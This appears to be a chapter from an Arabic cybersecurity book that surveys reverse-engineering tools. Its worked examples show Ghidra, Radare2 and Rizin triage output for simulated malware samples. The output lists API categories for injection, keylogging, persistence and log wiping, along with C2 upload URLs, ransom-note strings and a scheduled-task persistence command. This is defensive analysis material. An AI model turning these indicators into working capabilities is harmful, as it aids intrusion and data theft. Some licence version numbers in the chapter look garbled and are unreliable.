عندما تم اكتشاف دودة Stuxnet في عام 2010 لم تكن مجرد برمجية خبيثة بل كانت سلاحاً سيبرانياً مصمماً بدقة غير مسبوقة هدفه ليس سرقة البيانات فقط بل إحداث ضرر مادي في العالم الحقيقي عبر استهداف برنامج إيران النووي. لولا الهندسة العكسية، لكان العالم قد رأى فقط الأعراض مثل أعطال غامضة في أجهزة الطرد المركزي ولكن لم يكن ليفهم أبداً المرض. من خلال شهور من التحليل العكسي المضني، تمكن الباحثون من تفكيك هذا السلاح المعقد واكتشاف كنوزه المظلمة:

- استخدامه لأربع ثغرات يوم الصفر (Zero-Day) مختلفة في نظام Windows للانتشار.
- احتوائه على بابين خلفيين مع خوادم قيادة وتحكم (C2) معقدة.
- قدرته على سرقة شهادات توقيع رقمية من شركات حقيقية (مثل Realtek و JMicron) لتوقيع مكوناته الخبيثة وجعلها تبدو شرعية.
- والأهم من ذلك كله، احتوائه على كود متخصص للغاية يستهدف أجهزة التحكم المنطقي القابلة للبرمجة (PLCs) من نوع Siemens S7-300، حيث كان يقوم بتغيير تردد دوران أجهزة الطرد المركزي لتدميرها، بينما يرسل بيانات وهمية إلى أنظمة المراقبة لإيهام المهندسين بأن كل شيء على ما يرام.

هذه القصة تعلمنا أن الهندسة العكسية هي الأداة الوحيدة التي تمكننا من فهم نية المهاجم. الأدوات في هذا الفصل هي الأدوات الجراحية الدقيقة التي تجعل هذا الفهم ممكناً. منصات مثل Ghidra و Pro IDA تسمح لنا بالتحليل الساكن (Static Analysis)، أي قراءة المخططات المعمارية للكود. ومصححات الأخطاء مثل x64dbg تسمح لنا بالتحليل الديناميكي (Dynamic Analysis)، أي مراقبة الآلة أثناء عملها. أما أدوات مثل Frida، فهي تمثل قمة التطور، حيث تسمح لنا ليس فقط بالمراقبة، بل بالتدخل وتغيير سلوك البرنامج أثناء تشغيله (Dynamic Instrumentation). إتقان هذه الأدوات هو ما يمكنك من الانتقال من مجرد ضحية للهجوم إلى فهم كامل لعقل المهاجم.

١.١٠ Ghidra

نفتتح قسم الهندسة العكسية بالأداة التي أحدثت زلزالاً حقيقياً وتاريخياً في هذا المجال، وهي Ghidra. قبل عام 2019، كان هذا المجال حكراً تقريباً على من يملك ميزانيات ضخمة لشراء تراخيص IDA Pro المكلفة، لكن وكالة الأمن القومي الأمريكية NSA قررت تغيير قواعد اللعبة ونشرت هذه الأداة الجبارة مجاناً ومفتوحة المصدر للجميع.

الميزة البارزة في Ghidra هي أنها توفر ميزة إلغاء الترجمة أو Decompiler بشكل مدمج ومجاني، وهي الميزة التي تحول لغة الآلة المعقدة والرموز غير المفهومة إلى كود برمجي مقروء يشبه لغة C، مما يسهل فهم البرمجيات الخبيثة بشكل كبير. بالإضافة إلى ذلك، تتميز بدعمها الهائل لمعماريات المعالجات المختلفة، وميزة التراجع (Undo/Redo) التي كانت حلماً للمحللين في الأدوات الأخرى، ودعمها القوي للسكربتات بلغة Java وPython لأتمتة المهام. باختصار، هي الأداة التي كسرت الاحتكار وجعلت الهندسة العكسية متاحة لكل طالب وباحث.

الخاصية	القيمة
مستوى المهارة المطلوب	متقدم
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني
نوع الترخيص	Apache-0.2

مميزات أداة Ghidra

مثال عملي: تحليل آلي شامل لبرمجية خبيثة وتصنيف قدراتها باستخدام Ghidra:

```
/usr/share/ghidra/support/analyzeHeadless ~/ghidra_projects MalwareProj
-import malware.exe -scriptPath .  -postScript CyberBookFinder.py
-overwrite -noanalysis
```

شرح المثال: في هذا التحليل المعمق، استخدمنا سكربت Python مخصص (CyberBookFinder.py) داخل بيئة Ghidra Headless. السجل الكامل أدناه يوضح عملية استيراد الملف، وفحص المكتبات المفقودة، ثم تنفيذ السكربت الذي صنف وظائف البرمجية الخبيثة بدقة. الجدول الناتج يقدم خريطة قدرات كاملة للمهاجم، تشمل التجسس (Spyware)، الحقن (Injection)، التهرب من التحليل (Evasion)، والاتصال الشبكي (Network).

المخرجات:

```
yaser@CyberBookio:~$ /usr/share/ghidra/support/analyzeHeadless ~/ghidra_projects Malw
-import malware.exe -scriptPath . -postScript CyberBookFinder.py -overwrite -noanalys

openjdk version "21.0.9" 2025-10-21
OpenJDK Runtime Environment (build 21.0.9+10-Debian-1)
OpenJDK 64-Bit Server VM (build 21.0.9+10-Debian-1, mixed mode)
```

```
INFO  Using log config file: jar:file:/usr/share/ghidra/Ghidra/Framework/Generic/lib/
INFO  Using log file: /home/yaser/.config/ghidra/ghidra_11.4.2_DEV/application.log (L
INFO  Loading user preferences: /home/yaser/.config/ghidra/ghidra_11.4.2_DEV/preferen
INFO  Searching for classes... (ClassSearcher)
INFO  Class search complete (551 ms) (ClassSearcher)
INFO  Initializing SSL Context (SSLContextInitializer)
INFO  Initializing Random Number Generator... (SecureRandomFactory)
INFO  Random Number Generator initialization complete: NativePRNGNonBlocking (SecureR
INFO  Trust manager disabled, cacerts have not been set (ApplicationTrustManagerFacto
INFO  Headless startup complete (1110 ms) (AnalyzeHeadless)
INFO  Class searcher loaded 58 extension points (18 false positives) (ClassSearcher)
INFO  HEADLESS Script Paths:
    /usr/share/ghidra/Ghidra/Features/DecompilerDependent/ghidra_scripts
    /usr/share/ghidra/Ghidra/Features/GnuDemangler/ghidra_scripts
    /usr/share/ghidra/Ghidra/Features/BytePatterns/ghidra_scripts
    /usr/share/ghidra/Ghidra/Features/FileFormats/ghidra_scripts
    /usr/share/ghidra/Ghidra/Features/WildcardAssembler/ghidra_scripts
    /usr/share/ghidra/Ghidra/Processors/Atmel/ghidra_scripts
    /usr/share/ghidra/Ghidra/Features/SwiftDemangler/ghidra_scripts
    /usr/share/ghidra/Ghidra/Processors/DATA/ghidra_scripts
    /usr/share/ghidra/Ghidra/Features/PyGhidra/ghidra_scripts
    /usr/share/ghidra/Ghidra/Features/MicrosoftCodeAnalyzer/ghidra_scripts
    /usr/share/ghidra/Ghidra/Features/Jython/ghidra_scripts
    /usr/share/ghidra/Ghidra/Debug/Debugger-rmi-trace/ghidra_scripts
    /usr/share/ghidra/Ghidra/Debug/Debugger/ghidra_scripts
    /usr/share/ghidra/Ghidra/Processors/PIC/ghidra_scripts
    /usr/share/ghidra/Ghidra/Processors/8051/ghidra_scripts
    /usr/share/ghidra/Ghidra/Features/Base/ghidra_scripts
    /usr/share/ghidra/Ghidra/Features/PDB/ghidra_scripts
    /usr/share/ghidra/Ghidra/Processors/JVM/ghidra_scripts
    /home/yaser/.
    /usr/share/ghidra/Ghidra/Features/SystemEmulation/ghidra_scripts
```

```
    /usr/share/ghidra/Ghidra/Features/BSim/ghidra_scripts
    /usr/share/ghidra/Ghidra/Features/Decompiler/ghidra_scripts
    /usr/share/ghidra/Ghidra/Features/FunctionID/ghidra_scripts
    /usr/share/ghidra/Ghidra/Features/VersionTracking/ghidra_scripts (HeadlessAnalyze
INFO  HEADLESS: execution starts (HeadlessAnalyzer)
INFO  Opening existing project: /home/yaser/ghidra_projects/MalwareProj (HeadlessAnal
INFO  Opening project: /home/yaser/ghidra_projects/MalwareProj (HeadlessProject)
INFO  REPORT: Processing input files:  (HeadlessAnalyzer)
INFO         project: /home/yaser/ghidra_projects/MalwareProj (HeadlessAnalyzer)
INFO  IMPORTING: file:///home/yaser/malware.exe (HeadlessAnalyzer)
INFO  Using Loader: Portable Executable (PE) (AutoImporter)
INFO  Using Language/Compiler: x86:LE:64:default:windows (AutoImporter)
INFO  Using Library Search Path: [., /bin, /lib, /lib64, /lib/x86_64-linux-gnu, /lib/
INFO  TLS callbacks at 1400049e0 (TLSDirectory)
INFO  Removing 5 unused filesystems from cache (FileSystemInstanceManager)
INFO  Additional info:
Loading file:///home/yaser/malware.exe?MD5=36ecdcc5d377dbfb9688c7ca4dfde682...
------------------------------------------------

Searching 8 paths for library ADVAPI32.DLL...
Library not found.
------------------------------------------------

Searching 8 paths for library GDI32.DLL...
Library not found.
------------------------------------------------

Searching 8 paths for library KERNEL32.DLL...
Library not found.
------------------------------------------------

Searching 8 paths for library MSVCRT.DLL...
```

```
Library not found.
-------------------------------------------------

Searching 8 paths for library SHELL32.DLL...
Library not found.
-------------------------------------------------

Searching 8 paths for library URLMON.DLL...
Library not found.
-------------------------------------------------

Searching 8 paths for library USER32.DLL...
Library not found.
-------------------------------------------------

Searching 8 paths for library WININET.DLL...
Library not found.
-------------------------------------------------

Searching 8 paths for library WS2_32.DLL...
Library not found.
-------------------------------------------------

Linking the External Programs of 'malware.exe' to imported libraries...
  [ADVAPI32.DLL] -> not found in project
  [GDI32.DLL] -> not found in project
  [KERNEL32.DLL] -> not found in project
  [MSVCRT.DLL] -> not found in project
  [SHELL32.DLL] -> not found in project
  [URLMON.DLL] -> not found in project
  [USER32.DLL] -> not found in project
  [WININET.DLL] -> not found in project
```

```
  [WS2_32.DLL] -> not found in project
-------------------------------------------------

 (AutoImporter)
INFO  IMPORTING: Loaded 0 additional files (HeadlessAnalyzer)
INFO  /malware.exe: file deleted (yaser) (LocalFileSystem)
INFO  Deleted local file malware.exe (GhidraFileData)
WARN  REPORT: Removed conflicting program file from project: /malware.exe (HeadlessAn
INFO  SCRIPT: /home/yaser/CyberBookFinder.py (HeadlessAnalyzer)

[+] STARTING PYTHON SCAN: Looking for 32 high-risk signatures...
================================================================================
API NAME                        | CATEGORY                           | ADDRESS
--------------------------------------------------------------------------------
RegCreateKeyExA                 | [PERSISTENCE] Create Registry Key        | EXTERNAL:
RegDeleteValueA                 | [PERSISTENCE] Delete Registry Key        | EXTERNAL:
RegOpenKeyExA                   | [PERSISTENCE] Open Registry Key          | EXTERNAL:
RegSetValueExA                  | [PERSISTENCE] Write to Registry (Startup) | EXTERNAL
BitBlt                          | [SPYWARE] Screen Capture                 | EXTERNAL:
CheckRemoteDebuggerPresent      | [EVASION] Detect Debugger                | EXTERNAL:
CreateProcessA                  | [EXECUTION] Spawn new process            | EXTERNAL:
CreateRemoteThread              | [INJECTION] Execute code in remote process | EXTERNA
CreateToolhelp32Snapshot        | [ENUMERATION] List running processes     | EXTERNAL:
DeleteFileA                     | [FILE] Delete file                       | EXTERNAL:
GetTickCount                    | [EVASION] Time measure (Sandbox check)   | EXTERNAL:
IsDebuggerPresent               | [EVASION] Detect Debugger                | EXTERNAL:
MoveFileA                       | [FILE] Move/Rename file                  | EXTERNAL:
OpenProcess                     | [INJECTION] Open handle to process       | EXTERNAL:
Process32First                  | [ENUMERATION] Iterate processes          | EXTERNAL:
Process32Next                   | [ENUMERATION] Iterate processes          | EXTERNAL:
QueueUserAPC                    | [INJECTION] Early Bird / APC Injection   | EXTERNAL:
ReadProcessMemory               | [INJECTION] Spy on other process memory  | EXTERNAL:
```

```
Sleep                          | [EVASION] Stall execution                 | EXTERNAL:
VirtualAllocEx                 | [INJECTION] Allocate memory in remote process | EXTE
WinExec                        | [EXECUTION] Run external program          | EXTERNAL:
WriteProcessMemory             | [INJECTION] Write code to remote process | EXTERNAL:
ShellExecuteA                  | [EXECUTION] Run external program          | EXTERNAL:
URLDownloadToFileA             | [NETWORK] Download file to disk (Dropper) | EXTERNAL
GetAsyncKeyState               | [SPYWARE] Capture Keystrokes              | EXTERNAL:
GetForegroundWindow            | [SPYWARE] Get name of active window       | EXTERNAL:
GetWindowTextA                 | [SPYWARE] Read window title bar           | EXTERNAL:
SetWindowsHookExA              | [SPYWARE] Hook Keyboard/Mouse input       | EXTERNAL:
HttpSendRequestA               | [NETWORK] Send data via HTTP              | EXTERNAL:
InternetOpenA                  | [NETWORK] Open Internet Handle            | EXTERNAL:
InternetOpenUrlA               | [NETWORK] Open Internet Handle            | EXTERNAL:
connect                        | [NETWORK] Connect to external IP          | EXTERNAL:
socket                         | [NETWORK] Create communication socket     | EXTERNAL:
================================================================================

[!!!] CONCLUSION: HIGH RISK DETECTED
[!!!] Found 33 suspicious capabilities.
INFO  REPORT: Save succeeded for: /malware.exe (MalwareProj:/malware.exe) (HeadlessAn
INFO  REPORT: Import succeeded (HeadlessAnalyzer)
```

تحميل: https://ghidra-sre.org

٢.١٠ IDA Pro

IDA Pro هي الأداة التي تُعتبر المعيار الذهبي بلا منازع والملك المتربع على عرش الهندسة العكسية منذ أكثر من 30 سنة، ورغم ظهور منافسين أقوياء ومجانيين مثل Ghidra، إلا أن IDA من شركة Hex-Rays لا تزال الخيار الأول للمحترفين والشركات الكبرى والجهات الحكومية حول العالم بسبب استقرارها ودقتها المتناهية.

الميزة البارزة في هذه الأداة هي المفكك أو Decompiler الخاص بها، الذي يُعد سحراً تقنياً؛ فهو يحول لغة الآلة المعقدة والرموز غير المفهومة إلى كود C نظيف وشبه مقروء، مما يختصر أسابيع من العمل المضني إلى ساعات. وتتميز بمرونة هائلة عبر دعمها لسكربتات IDAPython التي تتيح أتمتة التحليل، بالإضافة لدعمها لعدد ضخم من المعالجات

يتجاوز 50 نوعاً. صحيح أنها أداة مدفوعة وبسعر مرتفع، لكنها الاستثمار الذي لا غنى عنه لأي باحث يريد تحليل أعقد البرمجيات الخبيثة أو اكتشاف ثغرات Zero-day بدقة لا تقبل الخطأ.

الخاصية	القيمة
مستوى المهارة المطلوب	متقدم
أنظمة التشغيل	Windows, Linux, macOS
التكلفة	مدفوع
نوع الترخيص	احتكاري

مميزات أداة IDA Pro

تحميل: https://hex-rays.com/ida-pro/

٣.١٠ x64dbg

الأداة التي تُعتبر الخليفة الشرعي والحديث للأسطورة القديمة OllyDbg، وهي x64dbg. هذه الأداة المفتوحة المصدر جاءت لتحل مشكلة كبيرة، وهي غياب مصحح أخطاء (Debugger) قوي ومجاني وحديث لنظام ويندوز. ميزتها الأساسية أنها صُممت من الصفر لتدعم معماريات 64 بت و32 بت بكفاءة عالية وبواجهة عصرية سهلة القراءة.

الميزة البارزة في x64dbg هي مرونتها العالية جداً؛ فهي تحتوي على نظام إضافات قوي يسمح للمجتمع بتطوير أدوات مساعدة باستمرار، مثل أدوات إخفاء المصحح (Anti-Anti-Debug) التي تمنع البرمجيات الخبيثة من اكتشاف أنك تقوم بتحليلها. وهي السلاح المفضل حالياً لمحللي البرمجيات الخبيثة لفك تشفير الأغلفة (Packers) وفهم سلوك الفيروسات خطوة بخطوة من خلال التحكم الكامل في الذاكرة والسجلات (Registers). باختصار، هي الأداة التي يجب أن تكون مثبتة على جهاز أي شخص مهتم بالهندسة العكسية على ويندوز.

الخاصية	القيمة
مستوى المهارة المطلوب	متقدم
أنظمة التشغيل	Windows
التكلفة	مجاني
نوع الترخيص	GPL-0.3

مميزات أداة x64dbg

تحميل: https://x64dbg.com

٤.١٠ Radare2

الأداة الأسطورية Radare2 تُعتبر سكين الجيش السويسري للمحترفين الحقيقيين في سطر الأوامر. هذه ليست مجرد أداة، بل إطار عمل كامل يغنيك عن عشرات الأدوات الأخرى. الميزة البارزة في Radare2 أنها تعمل في كل مكان تقريباً، من أجهزة الكمبيوتر العادية إلى الهواتف وحتى الساعات الذكية، لأنها لا تعتمد على واجهة رسومية ثقيلة.

قوتها تكمن في سطر الأوامر الذي يمنحك سرعة خيالية في التحليل والتفكيك والتعديل على الملفات الثنائية. وبما أنها تعتمد على النصوص البرمجية، فهي جنة للأتمتة حيث يمكنك استخدام مكتبة r2pipe لربطها مع Python وكتابة سكربتات لتحليل آلاف الملفات تلقائياً، وهو ما يجعلها الخيار الأول لمن يبحث عن السرعة والمرونة المطلقة بعيداً عن تعقيدات الواجهات الرسومية.

الخاصية	القيمة
مستوى المهارة المطلوب	متقدم
أنظمة التشغيل	Linux, Windows, macOS, Android, iOS
التكلفة	مجاني
نوع الترخيص	LGPL-0.3

مميزات أداة Radare2

مثال عملي: فرز وتحليل البرمجيات الخبيثة آلياً باستخدام سكربتات Radare2:

```
r2 -q -i report.r2 malware2.exe
```

شرح المثال: يُظهر هذا التقرير الشامل قوة Radare2 في أتمتة التحليل. قام السكربت بمسح الملف واستخراج مؤشرات خطيرة جداً توضح أن هذه البرمجية معقدة ومتعددة المهام:

- **مسح الآثار (Anti-Forensics):** استخدام دالة ClearEventLogA لمسح سجلات الأحداث وإخفاء آثار الاختراق.

- **سرقة البيانات :(Exfiltration)** استخدام HttpSendRequestA لإرسال البيانات المسروقة إلى خادم خارجي.
- **الأدلة الجنائية :(Artifacts)** تم استخراج رابط السيرفر (apt-group.com) ورسالة الفدية (PAY 1 BTC) والملفات المستهدفة (secrets.txt).

المخرجات:

```
yaser@CyberBookio:~$ r2 -q -i report.r2 malware2.exe
WARN: truncated dwarf block
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.c
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze imports (af@@@i)
INFO: Analyze entrypoint (af@ entry0)
INFO: Analyze symbols (af@@@s)
INFO: Analyze all functions arguments/locals (afva@@@F)
INFO: Analyze function calls (aac)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Analyzing methods (af @@ method.*)
INFO: Recovering local variables (afva@@@F)
INFO: Type matching analysis for all functions (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Integrate dwarf function information
INFO: Use -AA or aaaa to perform additional experimental analysis

============================================================
RADARE2 AUTOMATED MALWARE TRIAGE REPORT v4.0
============================================================

[+] FILE METADATA:
arch     x86
bits     64
lang     c
```

```
[+] DETECTED CAPABILITIES (Based on API Imports):
-------------------------------------------------
[!] MUTEX (Single Instance Check):
2   0x140008328 NONE FUNC KERNEL32.dll CreateMutexA
[!] EXFILTRATION (Stealing Data):
13  0x140008380 NONE FUNC KERNEL32.dll ReadFile
2   0x1400084d8 NONE FUNC WININET.dll  HttpSendRequestA
3   0x1400084e0 NONE FUNC WININET.dll  InternetConnectA
[!] PERSISTENCE (Registry/Tasks):
1   0x140008490 NONE FUNC SHELL32.dll  ShellExecuteA
[!] CRYPTOGRAPHY (Ransomware):
3   0x1400082e8 NONE FUNC ADVAPI32.dll CryptAcquireContextA
4   0x1400082f0 NONE FUNC ADVAPI32.dll CryptGenKey
[!] INJECTION (Memory Manipulation):
3   0x140008330 NONE FUNC KERNEL32.dll CreateThread
17  0x1400083a0 NONE FUNC KERNEL32.dll VirtualAlloc
18  0x1400083a8 NONE FUNC KERNEL32.dll VirtualProtect
[!] EVASION (Anti-Debugging):
11  0x140008370 NONE FUNC KERNEL32.dll IsDebuggerPresent
15  0x140008390 NONE FUNC KERNEL32.dll Sleep
[!] DROPPER (File Download):
1   0x1400084a0 NONE FUNC urlmon.dll   URLDownloadToFileA
[!] RECONNAISSANCE (System Fingerprinting):
5   0x1400082f8 NONE FUNC ADVAPI32.dll GetUserNameA
[!] SPYWARE (Input Capture):
1   0x1400084b0 NONE FUNC USER32.dll   GetForegroundWindow
3   0x1400084c0 NONE FUNC USER32.dll   SetWindowsHookExA
[!] LATERAL MOVEMENT (Network Shares):
1   0x1400083c0 NONE FUNC MPR.dll      WNetOpenEnumA
[!] ANTI-FORENSICS (Log Wiping):
2   0x1400082e0 NONE FUNC ADVAPI32.dll ClearEventLogA
7   0x140008308 NONE FUNC ADVAPI32.dll OpenEventLogA
```

```
[+] FORENSIC ARTIFACTS (Strings):
------------------------------------------------
[!] URLs / IPs Detected:
1   0x00002630 0x140004030 31  32   .rdata  ascii http://apt-group.com/upload.php
[!] Mutexes / Task Names:
2   0x00002650 0x140004050 23  24   .rdata  ascii Global\APT_Sim_Mutex_v1
3   0x00002668 0x140004068 72  73   .rdata  ascii schtasks /create /sc minute /mo 30
[!] Suspicious Files:
5   0x000026c8 0x1400040c8 7   8    .rdata  ascii cmd.exe
7   0x000026d5 0x1400040d5 24  25   .rdata  ascii C:\Users\CEO\secrets.txt
[!] Threat Messages:
0   0x00002600 0x140004000 46  47   .rdata  ascii YOUR DATA IS STOLEN. PAY 1 BTC TO w
13  0x00002733 0x140004133 6   7    .rdata  ascii HACKED

[+] BEHAVIORAL ANALYSIS (X-Refs):
------------------------------------------------


============================================================
END OF REPORT
============================================================
```

تحميل: https://rada.re/n/

Cutter ٥.١٠

بما أننا تحدثنا عن قوة Radare2 في سطر الأوامر، فلا بد من الحديث عن وجهها الآخر الأكثر وداً أداة Cutter. المشكلة الكبرى التي تواجه الكثيرين مع Radare2 هي صعوبة حفظ أوامر الشاشة السوداء، وهنا جاءت Cutter لتحل هذه المعضلة جذرياً. هي ليست مجرد واجهة رسومية، بل منصة متكاملة تمنحك قوة التحليل العميق التي تشتهر بها Radare2 ولكن بقالب بصري حديث ومريح جداً يشبه الأدوات التجارية الباهظة.

الميزة البارزة في هذه الأداة أنها توفر لك رسوم بيانية تفاعلية Graph View تعرض مسار عمل البرنامج بشكل شجري واضح، مما يجعل تتبع الدوال وفهم منطق البرنامج أسهل بكثير من قراءة الأكواد الصماء. كما تدعم دمج نصوص Python وحتى Jupyter Notebooks داخل الواجهة نفسها، مما يمنحك القدرة على كتابة سكربتات تحليل معقدة

وتشغيلها فوراً وكأنك في مختبر بيانات متكامل. باختصار، هي الجسر المثالي الذي ينقلك من عالم الهواية إلى الاحتراف في الهندسة العكسية دون دفع تكاليف باهظة.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني
نوع الترخيص	GPL-0.3

مميزات أداة Cutter

مثال عملي: التحليل الآلي المتقدم باستخدام محرك Rizin وسكربتات الفرز الجنائي:

```
rizin -A malware3.exe < forensic_report.rz
```

أداة Cutter هي في الأساس واجهة رسومية (GUI) تعتمد كلياً على محرك Rizin القوي للقيام بعمليات التحليل. لذلك، لتقديم مثال قابل للأتمتة (مثل تشغيل سكربتات الفرز الجنائي السريع)، فإننا نستخدم المحرك الأساسي Rizin مباشرة من سطر الأوامر، وهو ما يمنح المحلل مرونة وسرعة أكبر مقارنة بالنقر اليدوي في الواجهة الرسومية.

شرح المثال: نستخدم محرك Rizin لتشغيل سكربت تحليل جنائي متكامل. المخرجات الكاملة تكشف عن تحليل دقيق للملف:

- **اكتشاف التشفير (Crypto Constants):** ظهور القيمة 637c777bf2 يشير إلى وجود جداول S-Box الخاصة بخوارزمية AES، وهو مؤشر قوي لبرمجيات الفدية.
- **تصنيف الوظائف (Imports):** قام السكربت بفرز دوال النظام المستوردة (API Imports) إلى فئات مثل حقن العمليات (Process Injection) باستخدام VirtualAlloc، ومكافحة التصحيح (Anti-Debugging) باستخدام IsDebuggerPresent.
- **الأدلة النصية (Strings):** تم استخراج نصوص حساسة جداً مثل رسالة الابتزاز YOUR FILES HAVE BEEN ENCRYPTED ورابط التحكم الخبيث evil-simulation-c2.com.
- **تحليل التدفق (Cross-Reference):** أكدت الأداة أن الدوال الخبيثة ليست مجرد نصوص ميتة، بل يتم استدعاؤها فعلياً داخل دوال البرنامج (مثل دالة sym.DropperAndInjection).

المخرجات:

```
yaser@CyberBookio:~$ rizin -A malware3.exe < forensic_report.rz
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls
[x] Analyze len bytes of instructions for references
[x] Check for classes
[x] Analyze local variables and arguments
[x] Type matching analysis for all functions
[x] Applied 0 FLIRT signatures via sigdb
[x] Propagate noreturn information
[x] Integrate dwarf function information.
[x] Resolve pointers to data sections
[x] Use -AA or aaaa to perform additional experimental analysis.
 -- Use +,-,*,/ to change the size of the block
[0x1400013f0]> echo [*] STARTING AUTOMATED STATIC ANALYSIS
[*] STARTING AUTOMATED STATIC ANALYSIS
[0x1400013f0]>
[0x1400013f0]> # 1. Analyze the binary
[0x1400013f0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls
[x] Analyze len bytes of instructions for references
[x] Check for classes
[x] Analyze local variables and arguments
[x] Type matching analysis for all functions
[x] Applied 0 FLIRT signatures via sigdb
[x] Propagate noreturn information
[x] Integrate dwarf function information.
[x] Resolve pointers to data sections
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x1400013f0]>
[0x1400013f0]> echo [+] SEARCHING FOR CRYPTOGRAPHIC CONSTANTS (S-BOX)
```

```
[+] SEARCHING FOR CRYPTOGRAPHIC CONSTANTS (S-BOX)
[0x1400013f0]> /x 637c777bf2
0x14000a000 5 hit.bytes.0
[0x1400013f0]>
[0x1400013f0]> echo [+] CATEGORIZING MALICIOUS IMPORTS
[+] CATEGORIZING MALICIOUS IMPORTS
[0x1400013f0]> echo --- Networking/C2 ---
--- Networking/C2 ---
[0x1400013f0]> ii ~Internet
  3 0x14000f570 NONE FUNC WININET.dll  InternetCloseHandle
  4 0x14000f578 NONE FUNC WININET.dll  InternetConnectW
  5 0x14000f580 NONE FUNC WININET.dll  InternetOpenW
[0x1400013f0]> ii ~Http
  1 0x14000f560 NONE FUNC WININET.dll  HttpOpenRequestW
  2 0x14000f568 NONE FUNC WININET.dll  HttpSendRequestW
[0x1400013f0]> ii ~URLDownload
  1 0x14000f550 NONE FUNC urlmon.dll   URLDownloadToFileW
[0x1400013f0]>
[0x1400013f0]> echo --- Process Injection ---
--- Process Injection ---
[0x1400013f0]> ii ~VirtualAlloc
 19 0x14000f3f8 NONE FUNC KERNEL32.dll VirtualAlloc
[0x1400013f0]> ii ~CreateThread
  3 0x14000f378 NONE FUNC KERNEL32.dll CreateThread
[0x1400013f0]>
[0x1400013f0]> echo --- Persistence/Registry ---
--- Persistence/Registry ---
[0x1400013f0]> ii ~RegSetValue
 10 0x14000f358 NONE FUNC ADVAPI32.dll RegSetValueExW
[0x1400013f0]> ii ~ShellExecute
  1 0x14000f540 NONE FUNC SHELL32.dll  ShellExecuteW
[0x1400013f0]>
```

```
[0x1400013f0]> echo --- Anti-Debugging/Forensics ---
--- Anti-Debugging/Forensics ---
[0x1400013f0]> ii ~Debugger
 11 0x14000f3b8 NONE FUNC KERNEL32.dll IsDebuggerPresent
[0x1400013f0]> ii ~Toolhelp
  4 0x14000f380 NONE FUNC KERNEL32.dll CreateToolhelp32Snapshot
[0x1400013f0]> ii ~ClearEventLog
  1 0x14000f310 NONE FUNC ADVAPI32.dll ClearEventLogW
[0x1400013f0]>
[0x1400013f0]> echo --- Cryptography (Ransomware) ---
--- Cryptography (Ransomware) ---
[0x1400013f0]> ii ~Crypt
  2 0x14000f318 NONE FUNC ADVAPI32.dll CryptAcquireContextW
  3 0x14000f320 NONE FUNC ADVAPI32.dll CryptDestroyKey
  4 0x14000f328 NONE FUNC ADVAPI32.dll CryptEncrypt
  5 0x14000f330 NONE FUNC ADVAPI32.dll CryptGenKey
  6 0x14000f338 NONE FUNC ADVAPI32.dll CryptReleaseContext
[0x1400013f0]>
[0x1400013f0]> echo [+] EXTRACTING SUSPICIOUS STRINGS
[+] EXTRACTING SUSPICIOUS STRINGS
[0x1400013f0]> iz ~http
   1 0x00008500 0x14000a100  40   82 .rdata          utf16le http://evil-simulation-c
  19 0x00008900 0x14000a500  17   36 .rdata          utf16le http://google.com
 184 0x0000afc4 0x14000f9c4  16   17 .idata          ascii   HttpOpenRequestW
 185 0x0000afd8 0x14000f9d8  16   17 .idata          ascii   HttpSendRequestW
[0x1400013f0]> iz ~Global\
   2 0x00008552 0x14000a152  14   30 .rdata          utf16le Global\APT_Sim
[0x1400013f0]> iz ~PAY
   3 0x00008570 0x14000a170  42   86 .rdata          utf16le YOUR FILES HAVE BEEN ENC
[0x1400013f0]> iz ~wireshark
   6 0x00008664 0x14000a264  13   28 .rdata          utf16le wireshark.exe
   7 0x00008680 0x14000a280  24   50 .rdata          utf16le [!] Wireshark Detected!\
```

```
[0x1400013f0]> iz ~schtasks
  13 0x000087d0 0x14000a3d0  12   26 .rdata          utf16le schtasks.exe
[0x1400013f0]>
[0x1400013f0]> echo [+] CROSS-REFERENCE ANALYSIS
[+] CROSS-REFERENCE ANALYSIS
[0x1400013f0]> # We use the specific MinGW symbol names here.
[0x1400013f0]> # This finds where the code CALLS these malicious functions.
[0x1400013f0]>
[0x1400013f0]> echo Checking where IsDebuggerPresent is called:
Checking where IsDebuggerPresent is called:
[0x1400013f0]> axt @ sym.imp.KERNEL32.dll_IsDebuggerPresent
sym.AntiDebug 0x14000145f [DATA] mov rax, qword [sym.imp.KERNEL32.dll_IsDebuggerPrese
(nofunc) 0x1400089a8 [CODE] jmp qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
[0x1400013f0]>
[0x1400013f0]> echo Checking where VirtualAlloc is called:
Checking where VirtualAlloc is called:
[0x1400013f0]> axt @ sym.imp.KERNEL32.dll_VirtualAlloc
sym.DropperAndInjection 0x14000176d [DATA] mov rax, qword [sym.imp.KERNEL32.dll_Virtu
(nofunc) 0x140008968 [CODE] jmp qword [sym.imp.KERNEL32.dll_VirtualAlloc]
[0x1400013f0]>
[0x1400013f0]> echo Checking where InternetConnect is called:
Checking where InternetConnect is called:
[0x1400013f0]> axt @ sym.imp.WININET.dll_InternetConnectW
sym.Exfiltration 0x1400018a4 [DATA] mov rax, qword [sym.imp.WININET.dll_InternetConne
(nofunc) 0x140001ab8 [CODE] jmp qword [sym.imp.WININET.dll_InternetConnectW]
[0x1400013f0]>
[0x1400013f0]> echo [*] ANALYSIS COMPLETE
[*] ANALYSIS COMPLETE
[0x1400013f0]>
```

تحميل: https://cutter.re

٦.١٠ Binary Ninja

عندما نتحدث عن الحداثة والسرعة في عالم الهندسة العكسية، فلا بد من ذكر منصة Binary Ninja. هذه الأداة التجارية من شركة Vector 35 جاءت بفلسفة مختلفة تماماً لكسر هيمنة الأدوات القديمة. فهي لا تركز فقط على التفكيك، بل تركز على تبسيط الكود المعقد للمحلل.

